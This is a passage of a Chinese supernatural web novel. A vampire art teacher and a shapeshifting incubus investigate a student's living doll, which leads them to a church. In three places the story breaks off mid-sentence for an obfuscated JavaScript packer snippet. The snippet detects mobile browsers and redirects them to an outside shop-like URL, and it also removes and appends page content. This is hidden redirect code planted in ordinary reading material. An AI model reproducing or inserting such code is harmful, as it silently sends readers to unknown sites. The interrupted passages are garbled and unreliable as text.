霜白语收回探查的目光，眸间猩红持续流转，直直朝窗外的人偶望去。 偶身遍布细小密集的经络，类同人心脏的地方落着一点红，比起心脏，它跳动的频率要缓慢许多。 他想起白天游香身上仿佛腌入味的血腥气。 夜晚寒风吹拂而过，霜白语把围巾往脖子上又绕一圈，回头看了眼身后的居民楼，确认过凛华还在屋里装死。 叮铃。脆生生的动静再次响起。 霜白语掀起眼帘，瞧着人偶自高空降落，穿戴的衣服随风飘飘荡荡，他此前确认过，玩偶身上没有任何相关饰物，怎么登场还自带背景音乐的？ 好在它除了发出铃铛声，是绝对的哑巴人偶，他现在不太想体验非人生物在他耳边嘻嘻嘻的场景。 霜白语跟着前面安静带路的玩偶。 圣欣高校在夜色里静静矗立。 全封闭式管理的院校即便到了晚上，充当装饰品的灯带依旧在发力。圣欣部分学生有夜课或是晚上的兼职，校园里并非静谧无声，偶尔能看见一两个人结伴的身影快步匆匆地走过。 人偶领着霜白语到了学院的侧面，一墙之隔是一片人工湖，粼粼波光披散在树影四周，配合枝丫间投射出幽绿光芒的照明用具，氛围烘托到位。 眼前黑影一晃，眯眯眼人偶不见踪影。 饶是霜白语也难免心底一紧。 游香那句笃定说着要他办展的话于此刻再度回响。 当时少女眼底藏着的期待，绝非出自对艺术的热忱，而是对即将到来之事的迫不及待，狂热到近乎扭曲。 算了，不能白来。霜白语没再犹豫，绕过围墙边监控进到校园，避免了惊动任何保安。 圣欣学院建筑特色更接近西洋画风，制高点在东侧的钟楼。硕大的外置时钟安放其上，每隔一小时报时一次，实际用途大不到哪去，但胜在意向表现。 霜白语轻巧地落在钟楼一角，将整片校区尽收眼底。 近处，下了夜课的学生三三两两地涌进便利店给辛苦学习了一天的自己补充能量。过。 稍远一点隐蔽些的树丛底下，青春期的少年少女互相倾诉着心意。再过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405182|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更远处，刚轮换上岗的保安在工位呼呼大睡。过过过！ 闹心地连过不知道多少个没用的画面，霜白语没忍住啪地一巴掌按脸上，自我唾弃大半夜不休息地跑高处来干什么。 他就该在丢失人偶踪迹后果断转身回家。 毕竟在这个互动体验计划里，他的身份只是一名普通的高校美术老师。 以游香的视角推演，在正式开展前，她不会有过分高调的行动。 霜白语收回撑着砖瓦的手，准备再次下工，余光突然被什么东西闪了一眼。 等看清后，险些脚底打滑掉下去。 圣欣高校的学生制服统一款式，男女只在衣领设计上作了细微区分，此时正有穿着制服的人往他歇脚的地方走。 教师休息区和学生寝室楼分隔开十万八千里，坐落在校区完全相反的两侧，刚俯瞰的时候，整片校区宛如棋盘平面，上方落着的一切清晰可观。 霜白语自然瞧见了路上的人，只是当时各自的走位非常正确，以致现在一经偏移，显得很突兀。 这么一会功夫，那学生直接进了楼。 优待在很多时候都是好事，仅在极个别情况存在问题。 霜白语不自觉捏紧了垂下的手指，他在的那一栋楼，只有他一间办公室目前投入使用中，且出于隐私考虑，进楼后没设监控。 但这一路校园里的监控不是摆设，明晃晃这么长一串画面留在镜头里，而他今天就明面上而言，正留在学校办公。 霜白语没忍住，面上浮起一个假笑。 至于针对这么明显吗？别什么闲杂人等都往他办公区域引啊！ 啧，现在闪现催眠了人，让她原路回去还来得及吗。 这听起来糟糕透顶，霜白语迅速地否定了这个想法。 诸多记忆构成了‘人’这一主体。而吸血鬼作为非人生物的一种，确实拥有超乎寻常人类的能力，但为维持生态平衡——霜白语别扭地想到这个词——他们没法肆无忌惮地做伤天害理的事。 说人话就是，他消除记忆有前提条件，被施行方将有相当长一段时间的昏迷不醒症状。 得不偿失。 霜白语才不做会让自己陷入绝对被动的亏本买卖。 但人已经进了休息楼这点没法改变，他得尽快赶回自己的办公室。 一边赶路一边复盘刚刚的发展，那瞬间闪到眼的东西也不知道是什么，有种很不妙的感觉。 这种大事不妙的感觉等到霜白语站在办公室门口，面对里面正在上演的闹剧时，达到了顶峰。 前不久牵引着他来学校的眯眯眼人偶正站在他会客区的茶几上，手里揣着大他几倍的糖果盒，晃动的盒子正簌簌地往下抖落着五颜六色包装的糖。 背对门口坐着的是刚远远望见的学生。 而茶几的另一面，好整以暇坐着的人才是真正的大问题。 对方跟他用的是等比复刻的同一款建模。 见到他来，那冒牌货没有丝毫慌张，甚至好心情地抬起手，以好似弹钢琴的手势在半空中勾动五指，挑衅意味拉满地跟他打招呼。 霜白语：“………” 5. 人偶牵戏（2） 他打招呼的姿态太过自然，万淑下意识地歇了念头，跟着朝他招呼的方向望去。 门口空空如也。 习惯性闪避到门边的霜白语：“……” 该死，他皱眉轻骂了一声。明明不要脸的是里面那个冒牌货，他心虚躲什么？ 霜白语在刚才无声较量中不幸落了下风，更被动的是外人在场，他压根没法顶着当前模样出现，不然第二天的论坛都不知会编出什么千奇百怪的谣言。 还没等他想出最优解，霜白语听见里面的学生再次开口，对方句末语调轻微上扬，透着不加掩饰的疑惑。 茶几上的人偶存在感虽然强，毕竟不是本次谈话的主体，万淑的重心更多落在对面青年身上。 也因此，刚才他向着她以外的存在挥手，万淑跟着转过去看了。 但没有任何异样。 “老师，怎么了？” 万淑询问突然站起来的‘霜白语’。 青年瑰丽的紫瞳盛着笑，嘴角牵起恰到好处的安抚弧度，“刚好像看见有人过来，为了安全起见，我过去瞧瞧。别担心，我很快回来。” 不知是不是她的错觉。 万淑稍微握紧搭在膝盖上的手，对方似乎重点强调了自称。 凛华起身越过沙发，余光轻飘飘地落在万淑仍然紧绷的肩背上，面不改色地一步步走向门口，也不知道他的饲主想着怎么收场。 “哒，哒，哒。” 富有节奏的脚步声响起，走廊的声控灯光重新亮起。 凛华在即将跃出办公室门口的瞬间，腾空的步子巧妙地变换角度，做好了提防攻击的准备。 出乎意料，就在走廊里的霜白语静静地环臂抱胸瞧着他，没有预想的意图做掉他的眼神。 霜白语微挑侧眉，示意他近前来说话。 凛华还穿戴着他等比例的皮肤，走上来时，两人面对面像在照镜子。 “几个小时不见，你倒是能耐了。” 明明他俩最开始碰上时，对方身受重伤，虚弱到不得不用少年形态示人，怎么这才过了没几天，都能顶着别人的壳子兴风作浪了？ “哪里的话。” 凛华垂敛着双眼，毫无意义地翻看着自己的手掌，白皙修长的手指骨节明错，不见一丝伤痕。 在这么说话间，凛华的面容从细节开始发生变化，眼尾弧度较先前略微下压，眼型变得圆润，眸色跟着脱离雪青恢复到原来的颜色。 区别于成年男子的骨相，他现如今五官的轮廓更显柔和，外形也更趋向于少年，比最开始见到的模样还要小上几岁，瞧着和圣欣高校的学生差不多大。 像是为了更好地贴合目前身份。 凛华耍宝意味十足地打了个响指，顺带披上了圣欣高校男生制服。 不到一分钟时间，他就这么当着霜白语的面，彻彻底底地改变了自己外貌，而后扬起的笑容灿烂中透出些许腼腆。 凛华不好意思地说明此前行为的出发点。 “我只是突然发现自己患有很强的分离焦虑症。” 霜白语嫌弃地一个后撤步，“少在这里装可怜转移话题，把自己撇的一干二净，明摆着要我收拾烂摊子。” “你怎么能这么想我呢，霜习老师。” 凛华故意放柔了语调，压着声音喊霜白语老师，不仅言语上不尊敬，他同时间动作，手指拽住了对方松垮绕着的围巾一角，凑近了身，在人算不得多高的底线上大鹏展翅地疯狂试探。 “你猜我刚刚都跟她说了什么？” 为了达成目的一个人可以牺牲到什么份上？ 有这样的疑问不代表霜白语想现身说法，但面前的凛华倒是做出了很标准的示范。 少年形态在身高上不占优势，自下而上地看人却能极致放大这个年龄的好，眼尾低垂的无辜感也更加明显。 哪怕他本意充满了算计，在挖坑陷害这点上更是不遗余力，如此种种都因为此时披着的少年人皮囊变了味。 卖乖讨巧，静候着人上钩，一旦落入圈套再想摆脱，主动权就不掌握在自己手里了。 “她既然都主动找过来了……” 霜白语略带停顿，抬手掐住了凛华的脸颊，指腹间真实的触感表明了眼前所见不是幻觉类诱导，对方是真真切切顶着这么一副模样。 “问她比问你更快更有效。” 被掐脸的凛华很乖地眨眼，没主动挣脱，保持着当前姿势，眼中带笑地回望。 “好吧，那祝老师好运。” 少女维持着刚短暂一瞬瞥见的姿势，即便此刻的办公室没别的人，局促不安的感觉始终如影随形。 万淑想起自己会来这的理由，准确地说只是临时起意，她结束夜课一般会去便利店，即使不去也会在人工湖附近散心，再卡点回寝室休息。 今天在散步时意外碰到了她此前一直在论坛关注着的玩偶。 真正近距离接触到和隔着屏幕看是全然不同的感觉。 万淑没细想它为何会出现，为何见到别的人毫不惊讶，只记得在它转身就走的刹那，心头略过的慌乱盖过了所有。等反应过来，她距离综合生活部已经不到百来米。 眯眯眼的玩偶特地停下来，精致的脸蛋瞧不出太大情绪，倒是在万淑停下时往一边侧了侧脑袋，似乎在看她会不会选择继续跟。 万淑垂在身侧的手指捏紧了制服衣摆，哪怕明令规定学生不得在课后随意出入教师休息区，在玩偶身影拐进楼时，她咬咬牙跟了上去。 空旷大厅常亮着照明灯，正对门口的尽头摆放着一扇宣传屏风，万淑匆匆撇过一眼，脚步在一楼驻足，张望片刻后依旧没有她以外的任何人，不得不承认自己跟丢了玩偶。 刚刚不该犹豫的。 她没有目的地来回转了一会，大厅灯光如昼，但再耀眼的光芒也不足以延伸向两侧的走廊，漆黑一团的通道似乎藏着不知名的怪物，蛰伏等待着谁的到访。 现在怎么办？万淑咬住下唇，就这样离开吗？ 人专注上头的时候不会考虑太多，等此刻冷静下来，万淑被刚才行事的不管不顾会招致的后果猛地攥住了心脏。 砰砰，砰砰。 胸膛里好似落了鸟雀，浑身的血液回流，万淑手脚发麻，没法当机立断地作出抉择。 她正六神无主时，万淑听见走廊尽头响起的脚步声，很轻缓，但这时候的每一步都像踩在她心头。 一时记不起要躲起来或者干脆直接离开，她神经质地捏紧了手指，倾斜着看向走廊那头的眼睛攀附着红血丝，眼珠挤压在眼眶边缘，被脑补的画面惊得僵直在原地。 料想中的恐怖场景并未降临。 走廊的灯被那个人打开，亮光驱散了走廊的黑暗。 万淑搅在一起的手指猛地松开，她看清了来人，对方的肩膀上甚至坐着刚她追了一路的眯眯眼玩偶。 “这么晚了，好孩子不该随便乱闯。” ‘霜白语’近乎叹息地出声，肩膀上的玩偶跟着附和点头。 “对不起，霜习老师，我刚是想找它……等我反应过来时已经到这边了。” 万淑直勾勾盯着安静坐下的玩偶。 “你看起来很在意它，”青年抬手托了把肩上的小摆件，“既然如此，要去我办公室坐一会吗？” 吸取了此前犹豫错过了的教训，万淑这次同意得很果断，压根没想对方如此提议的不妥当之处，径直跟着美术老师去了他位于三楼的办公室。 玩偶在进门前先一步跳下来，轻车熟路地去零食柜拿东西——如果这间办公室真正的主人在，会发现人偶此时的行为完美复刻了他返校那天在办公室待着时的行动路径。 等进了办公室，被接待着坐上会客区的沙发，拘谨化作了藤蔓裹缠而上。 万淑绷直了肩背，整个人笔挺地杵在那里。 “现在你这么紧张会让我都跟着不适应。” 披皮冒充饲主的凛华将果盘往她这边一推，自己姿态放松地坐在了对面。全然没有他口中的无所适从，交叠起的双腿点着地面，由内而外地散发着悠闲自在。 凛华轻点膝盖，人偶配合地跳上沙发，攀着他的手臂跳到桌面，颇具展示意味地转了个圈后盘腿坐下了。 “你最初在哪里看见的它？” “在学校的论坛。” 万淑接过对方抛来的话题，主动聊起了很多事。 “其实以前我比较怕这种太像人的玩偶，小时候听过很多相关的恐怖故事更让我一度对其避而远之。” “改观是最近的事，老师你知道的，平时课业压力大，闲下来就会逛论坛网上冲浪，看别人都过着怎样一种生活。” 少女双眼微垂，目光近乎痴恋地看着面前的玩偶，想象自己在触碰它，万淑沉浸在美好回忆中，短暂地忘了身处的地方，跟一个月才见没几次的美术老师吐露心迹。 “……也是在那时候我频繁地刷到一个女孩子的社交平台，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405183|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她分享最近的动态。” 她的语调逐渐低下去，没了最初表达时的喜悦。 “我总忍不住去想……” 万淑拧着双眉，原本有所放松的身体又重新绷紧，她艰难地将视线从玩偶身上转移，落到临时充当心理老师身份的凛华身上。 “隔着屏幕去设想一个不曾现实见过也不曾深交过的人，看着她更新动态时就抑制不住满心欢喜，要是一段时间没有新动向，我会跟着失落，我知道这在别人看来很异样，只是我控制不住自己。” “我默默关注着她的账号，设置了特别关心提醒。看到她和别人的互动时，我会由衷地羡慕那个人，想着‘我也期望有一天她能和我说上话，不是那种表面客套的交际话，而是朋友间的互吹互损’，我这样想是不是有点恶心……无法迈出那一步却指望着他人的给予。” 万淑在习惯性剖白后骤然止了话音，有些躲闪的目光不偏不倚撞进对座人的眼中。 她低下脑袋，发间的耳朵在隐隐发烫，只能通过反复扣弄手指转移注意，“对不起老师，我……” 青年手掌彼此交叠盖在膝上，手指会随着万淑话题的走向时不时轻抬轻敲，他安静听着对方的表述，微微垂首，由着几缕碎发落下深浅不一的影子。 “不必道歉，有时候将压在心中许久的话讲出来，反倒能让自己轻松不少。” 凛华先是宽慰，而后话锋一转。 “假设你有朝一日得幸与之结交，发现对方带给你的感受和你设想的完全不同，到那时，你该怎么抉择？”他发间的耳钉随着抬首的动作，隐隐周折过一丝浅淡的微光。 万淑陷入了沉默，这也是她一直在担忧的情况，害怕那种落差真得存在，成了她如今畏葸不前的缘由。 “人跟人交往存在前提，现实所见与隔着屏幕看是两码事，说不定你真正喜欢的只是自己设想出的对方，等她真正出现在你面前，发现一切都不一样，到时候再想退出，就由不得你了。” “我……我不知道，自己真实的想法。” 万淑压着脑袋，双腿紧紧靠在一起，她垂眸看着自己泛白的手指，掌心覆上了一层凉薄的汗液。 “想听听我的建议么？” “您说。” 他们之间的交谈止步于此。 在动机不纯的魅魔准备跟她说些什么的时候，霜白语的出现让他的计划被迫终止。 办公室门口到沙发边只有短短几步路。 霜白语没有通天的本事，能让自己在这么短时间内知晓他们具体谈话的内容，他当然也不可能亲口问人说‘嗨，记得刚刚在聊什么嘛，要不来个前情回顾’这么离谱的话。 但他多少能猜出对话具体进展到了哪一步。 万淑的肢体语言透露了太多东西，她始终陷在紧张的情绪中，刚凛华要应付他而不得不走开，非有意晾着人，但也确实将她丢在一边有一会，这样的对待让她从紧张变得愈发局促。 及至霜白语重新坐到她面前时，万淑已经坐不下去。 这时候，他们自然不用继续之前的话题，就算霜白语有心想提，她也未必能听进去。 “霜习老师……” 万淑好似难以启齿地喊了他一声，没有再说更多的话，余光瞧见桌上的玩偶突然想要蹿向她的大弧度动作。 只是她还来不及做出反应，腾空的玩偶先被霜白语一把抄起，捉拿了回去。 “时间不早了，你要是真喜欢这玩偶，两天后的展子，她也会来，到时候有机会……” “真的吗？”万淑激动地打断霜白语。 “不、我说想说，谢谢老师刚愿意听我说话，我想明白了，非常抱歉今天打扰到老师，时间确实不早了，我先回去了。” 作为常年混迹论坛的资深冲浪者，万淑自然知道霜白语提到的画展，名义上由他主办，具体的负责人却是由他举荐的一位学生，没想到竟然真的是她！ 万淑一扫此前的负面情绪，跟霜白语道完别，蹭蹭地跑出办公室，甚至没怎么留意走廊边靠着的另一个学生，目的明确地狂奔回学生住宿区。 门外充当人形立牌的凛华鬼鬼祟祟探出个脑袋。 霜白语正抓着眯眯眼人偶，不管它的抗拒，吊起玩偶两条胳膊，一脸的若有所思。 凛华不见外地重新踏进他的办公室，软骨头似地靠在沙发椅背上，开口就是点正对面的霜白语。 “真意外，你竟然选择当这幕后推手。” 6. 人偶牵戏（3） “你知道我现在想什么吗？” 霜白语选择性听不见，反问他，手头动作不停，仔细地摸索着人偶个中蹊跷。 “什么？” “临时起意收养的宠物在外面撒丫子狂欢，跟一些物种不明的存在混迹在一起，你说要怎么做才能让他省点心，少四处惹事？” 凛华一条胳膊撑着沙发靠背，一手搭叠在臂弯，指尖时不时轻点。 他很认真地思考霜白语抛出的这个问题。 “要我说，”凛华嘴角浅浅翘起，一错不错地凝望着霜白语，“因为饲主没有很好地满足宠物的需求，他只能通过这样的方式来引起注意。” 霜白语停下揉搓眯眯眼人偶的手，毫无意义地唔了声，手中力道一松，玩偶趁机溜走。 它横跳过茶几，近乎连滚带爬地顺着凛华的手臂跳到了他背上，同时为了不让自己掉下去，抓住凛华后脑勺一撮毛。 等确认跳出了霜白语掌控范围，它重新找回了最开始的那份优雅和从容。 霜白语瞧着人偶忙碌的一连串小动作，有点幻视当时魅魔演戏的模样。他刚确认过了，这个和不久前隔着窗户碰上的是同一只，单纯意外于人偶似乎跟凛华很亲。 他轻挑一边眉，话头重新指向凛华，“我在说之前猫咖遇见的一只美短，你在指什么？” 少年形态的魅魔啧了声，抬手捞过扯着他头发的眯眯眼人偶，随手丢去一边，人偶空中翻滚调姿势稳稳落地，一点不显狼狈。 这似乎挺碍凛华的眼，他转头用鞋尖挑起人偶，自己玩起了击鼓传花的第一棒，传递的终点自然是霜白语。 后者直接婉拒了。 意识到自己不幸沦为消遣的一环，眯眯眼人偶把眼睛掀开一条缝，瞄准办公室出口猛地冲刺，在场两位都没想着来追，它也因此成功将这两个屑生物甩在了身后。 “饭没吃饱啊，还不走。” “你不跟上去看看？” 他们同时出声，一个直白地下逐客令，一个看热闹不嫌事大。 “当然，吃撑了来点饭后消食活动。” 凛华并不打算走，连废话都接得很顺畅，他看霜白语坐回沙发，手中捧着一本志怪图集，大有挑灯到天明的架势。 很快他就意识到，自己继续待在这的意义不大，对方要想彻底无视一个人，不管他作出什么举动都不会引来一个眼神瞩目，凛华对此深有体会，并不怀疑。 霜白语将图鉴朝后翻过一页，留意到魅魔识趣地离开了，至于其之后的动向，他不关心。 当务之急确实是跟着那个人偶。 从万淑的反应来看，现实中碰见能自如行动的玩偶算不上怪谈，也不足以让她害怕。而她基于某种理由，似乎无比确信玩偶属于游香。 这里得事先说明一点，万淑和游香的的确确都是人类，没有隐藏身份的可能。 那么以两者捆绑为出发点，考虑到白天游香身上沾着的血腥气，跟着送上门的人偶行动是个好选择。 但—— 霜白语垂眼，视线重新落在手中的图册上，他刚趁着研究人偶时，悄悄耍了点小手段，只要它不出这座城市，他完全有办法实时追踪。 远处高楼顶端的助航灯光明明灭灭，城市路边的灯带串联一线，繁华街区的夜间一度亮如白昼。 凛华盘腿靠坐在教学楼天台的网格栅栏边，视线穿透一众高矮矗立的建筑群，锁定了不久前偷溜出学院的眯眯眼人偶。 它如履平地地攀高走低，避开偶尔经过的车辆。以寻常人看见也来不及捕捉的速度朝着西南方向去。 他在脑内迅速过了一遍那块区域覆盖的建筑，从校服口袋里拿出一个摆件。 先前有意落后霜白语半步才出门，碰巧遇见了这个玩偶。原本想着顺便知会游香一声，自己回来了的事。 谁料这人偶挣扎未遂张口就咬，都说了虚弱期的魅魔不能随便咬——凛华最脆弱的时候遭了霜白语毒口，这会断然不会再阴沟翻船，反应过来时，人偶已经被他不小心咔嚓掉了。 颈骨断裂后，它褪去了原先过分逼真的肤质，露出了接榫玩偶该有的特征。 凛华想着收拾收拾说不定还能用，就放着一直没丢，没想到这会真能派上用场。 他把玩偶放在膝盖上，从后把住它的手臂，边想边凭空比划着。 咔，咔，咔哒。 像是老实的备录机按键缓慢地一点点按下又回弹的动静。 工作台边的三分人偶不甚灵敏地挥舞手臂，接榫处的部件咔咔作响，回荡在空无一人的工作室中。 桌上的手机响起提示音，游香点开监控画面，瞧见了这堪称诡异的一幕场景。 ‘现在不要去西南。’ 游香皱眉，倒不是因为人偶比划的字眼难以辨认，她只是不理解，对方特地用这么麻烦的方式传递消息的意义在哪里，明明一条短信就能解决的事。 这种上世纪就不流行了的消息传递方式甚至还是单向的，都没法立马跟他统一步调。 尚未拥有任何电子通讯工具的凛华打了个喷嚏，他纳闷地摸了摸鼻尖。 这联络方式肯定没问题，但眯眯眼人偶并没有改变路径，显然游香没听从他意见。 凛华确实有办法控制玩偶回来，只是刚人偶落在霜白语手中这么长时间，他可不信这位饲主一点想法都没有。 不，必须以霜白语动了手脚为出发点考虑。 拦不住游香就得另做打算，否则信息差建立起的优势很快会消失。 人偶对这些弯弯绕绕一无所觉，它正在游香的指挥下按着既定路线行走。 西南方向远离城市快节奏的灯红酒绿，平日里鲜少有人靠近。它一路穿过大片人工修葺的草坪，在一座教堂前停驻。 人偶的视角太过低矮，透过它看见的哥特式风格建筑实属一个庞然大物。 没等霜白语作调整，他只觉眼前画面瞬闪而过，先前还是人偶在他面前表演凭空失踪，这会直接换他沉浸式体验过玩偶瞬间移动的全过程，视野倾倒变化的感觉很不妙。 有点想吐。 霜白语迅速地往嘴里塞了颗薄荷糖，重新专注打量周围变换的景色。 彩绘玻璃窗周折过的光束游走于空间的顶端，蜡烛摇曳的灯光虚影背后，是唱诗班正在吟诵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405184|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯眯眼人偶站在二层的栏杆扶手上，遥遥望见守门人腰间摇荡的钥匙，混杂起玎玲声响。 时间一点点流逝，颂扬的尾声渐次消弭，唱诗班的少年们三三两两地离开教堂。 霜白语透过人偶看到的视界再次变低，它从栏杆跳到地上，顺着二楼的台阶拾级而下，掠过绕旋的扶梯，一路来到了司事面前。 他耳边还弥留着唱诗班成员的歌声，当有人明确对着人偶说话时，霜白语乍一下没反应过来。 “到时间了。” 司事背对着人偶点燃烛架上剩余的祈祷蜡烛，话语指向脚边不及成年人膝盖高的人偶。 它始终虚起的双眼弯起更圆润的弧度，格格不入感并未因此冲淡。 霜白语无法看见人偶的表情，只是顺着它向上看的动作，纳入了静伫其间的圣母像，在摇曳晃动的烛火下不断变换的光影，让圣母的面容有了表情。 他没将注意放在上面太久，调用可以有的最大视角，无声打量着面前的司事。 对方这话不是逐客令，应该也不至于是拐弯抹角提醒人一切铺垫就绪准备收网。 司事似乎清楚自己不会得到任何回应，一边做着手头的工作，一边跟人偶时不时说上两句。 因为留了一抹意识在玩偶身上的霜白语倍感压力。 这对着一个哑巴人偶絮絮叨叨到底什么癖好，虽然此前种种都证明这玩意不是个单纯的牵线玩偶，但霜白语刚检查过，它不存在发声装置，接触下来更多感觉也不过是它能做一些不局限于基础坐卧的复杂动作。 司事听不见他的吐槽，只是一味对着人偶输出。 “你不该来，黑夜降临的时候，隐藏在暗处的生物总会蠢蠢欲动起来，我们无法把它们圈禁在笼子里，这个时候唯有暂避其锋芒。” 人偶凝视着光影明灭间照亮的塑像，脸上表情细微变化，透出半分虔诚，在听闻司事这句话时，它微微后撤一条腿，做了个躬身的动作。 啊哦。 霜白语骤然听闻这一说法，瞬间来了兴致，准备仔细听听这位教会人士的高见。 作为热爱夜间行动的其中一类分支一员，霜白语对此类人实在谈不上多恭敬，毕竟他那家族里上了年纪的老头也爱没事就长篇大论，一方面说着要避世的屁话，一方面又想方设法阻挠他融入现实社会。 在盘根错节的旧社会待不下去，决心出来单干后，霜白语真得好多年没再听过这种论调。 “你是我们精心培养的绝佳苗子，更应该处处小心，而不是……” 司事将烛台放到铁架上，融化的灯油迅速冷却凝结成块。 他骤然止了话音，这会转过身来，衣袍上的褶皱在行走间交替变换着形状。人偶的视角不知何时又压得极低，只够看清对方一步步缩短彼此间距离。 它没有后退的动作，依附其上的霜白语却先应激地后仰了身体。 司事居高临下地俯瞰着人偶，烛火投落的阴影化作一张无形的大网，将其整个拢于其中，他缓慢地接续上先前未完的话。 “带着一些乱七八糟的脏东西过来。” “！” 7. 人偶牵戏（4） 霜白语身躯一震，有种被蛇类瞬发突袭咬中的感觉。 心脏收张博跳，缓了半拍才落回寻常的频次。 画面因着对方的反制分崩离析，教堂场景不再，霜白语眼中分篇的画面合二为一，只余下办公室再熟悉不过的布局。 颈侧的伤痕似被什么啃咬掉一块缺口，最初尤显狰狞可怖，短短数秒时间迅速地进行着血肉的编织修复，很快止血并恢复如初。 霜白语擦掉指尖沾染的血，心情不太美妙。 大意了，一个教堂里名不见经传的司事竟然能发现他的这点小把戏，还用反制手段伤了他。 如果人偶身上发生的事能实时反馈到游香那边，那他的身份一暴露，之后的画展反倒成了麻烦。 “……霜习老师。” 每一个人偶皆出自游香之手，她自然有方法了解它的一举一动。 司事切断关联的瞬间，她借人偶的感知，看清了同步浮现于霜白语身上的伤。 游香对他的印象单纯停留在特聘教师的名头，向他提出举办画展的需求也是基于对方身份的便利与影响度，完全没发现她想当然的利用险些成了翻车现场。 自己的美术老师竟然不仅仅只是外表看起来这般无害。 好在现下司事帮助她点出了关键。 原先的计划得往后延，她得把这个就近的麻烦解决掉。 这次画展推他到风口浪尖，一张嘴堵不住悠悠众口，等霜习老师不再是学院的老师，她就可以把他收藏起来，成为诸多人偶中的一员，始终陪伴她。 游香弯起双眼，十指指腹相抵作塔尖状，被自己的想法取悦。 哒，哒。 习惯性踱步的声响从走廊尽头响起，恨不得方圆两公里外的人都知晓他的到来。 霜白语看向门口。 分开不到一小时的魅魔又换了一份装束，外表更贴近刚见面的时候，年龄介于少年和青年之间。 凛华一进门就感受到了低气压，但这不影响他看人笑话。 “托大翻车了啊，霜习老师。”他啧啧两声，嬉皮笑脸地挨到霜白语身侧。 指尖撩开他挂落在肩侧的那撮扎起来的后发。 血族的恢复能力强大，那点伤修补得很快，现下并不能瞧出什么，但新长出来的血肉总还有个适应过程。 凛华手指贴上来的那一刻，霜白语当即抓住了他不规矩的手。 “有话直说别动手动脚。” “不如跟我合作吧。” 凛华依言退开些许，保持着和霜白语间隔半米的距离贴靠上沙发背。 “双方目的一致，互利共赢的才叫合作，你确定不是想落井下石踩我一脚？” “已经安排出去的事不可能收回，就算可以后续造成的损失也会被扣到你头上，得不偿失。你得保证两天后的展顺利进行，没有任何计划外的人或事来搅局。” 凛华亮出了手中的优势牌，“在这点上我可以帮你，游香那边你大可放心交给我。” “你说的是靠老古董的单方面联系方式挂上线，费劲传递完消息，对方压根没搭理你的放心吗？” 霜白语笑着嘲讽他，“那确实挺放心的。” “…………” 凛华战术后仰地拉开更远的距离，听到了意料外的回答，他圆润的一双眼撑得愈发饱满。 “怎么？” 霜白语露出很温和的一抹笑，“看来你也只是表现得像我的宠物，实际上毫无自觉。” “在你眼里，我难道是那种不爱给所有物打专属标签的性格吗？” 不应该啊。 魅魔暗暗压下诧异，他低垂着眼仔细回顾这几天的相处。 虽说他曾一度失去意识，但天性使然，恶魔类对印记这东西相当敏感，霜白语要是趁他昏迷时动手脚，他一醒来就能察觉。 实际显然没有。 凛华悄悄抬眼观察不远处的人，不排除在炸他的可能，教学楼天台有监控，他特地挑的拍摄死角，镜头捕捉不到，但血族有‘观’的能力，穿透墙体视物不在话下。 那霜白语清楚他干了什么不奇怪，毕竟也算‘看’到了。 霜白语放下叠着的腿，主动缩短了彼此间隔，他捏住凛华的脸转向自己这边，压低了嗓音，近乎心平气和地跟面前这只三观没受过当下主流文化熏陶的魅魔交流。 “既然你身处文明时代，并且很长一段时间都打算装成普通人生活，那你得接受普世加在你身上的规则。这不是为了驯化谁，而是让自己真正成为人。” 凛华意识尊敬地抬起双手，一左一右四根手指齐齐用力掰开了对方掐他脸的手。 脸颊恢复自由身，说话也会有气势。 “经验之谈？” “别到最后普通人当久了，真觉得自己不是异类了。” 凛华不屑。 人类是最排外的物种，一边奢求力量一边畏惧强权，非他族类还硬要挤进去，霜白语这是图什么。 “随便你怎么想，我在正经教你约束行为别一天天尽惹事，真出了问题我不会捞你的。” “哦这样啊。”凛华拖长了调子，语气幸灾乐祸但脸上面无表情，棒读似的得出结论：“那你要考虑的确实挺多。” “是是是。” “所以劳驾你从哪来回哪去，我有一堆积压的事需要处理。” 凛华乖乖领了饲主发放的逐客令，利索地离开，临到门口又丝滑一个拐弯，顶着张雌雄莫辨的脸伸手要饭。 “那预祝我进入社会的第一步，你给我个手机用用。” “知道了。” 得到承诺的魅魔心满意足地走开。 霜白语后仰身体靠向背靠，毫无意义地虚空盯了一会，想起来往脖子和身后各塞一个靠枕，仰头用目光描摹过雕花纹路设计的客厅吊灯，再度放空大脑五分钟。 赶在睡着前十秒钟捞起手机，切换账号重新登录校园论坛。 先前因为发帖指向性太强，被审核迅速咔掉不说，活跃的主账号还禁言了一段时间。 不过他马甲号遍地跑，挂了一个立马换另一个。 霜白语点开空白帖，边想边写内容。 目前呈给校方的计划中他是挂名负责人，游香主导安排要展出的作品，毫无疑问会是她的诸多人偶。 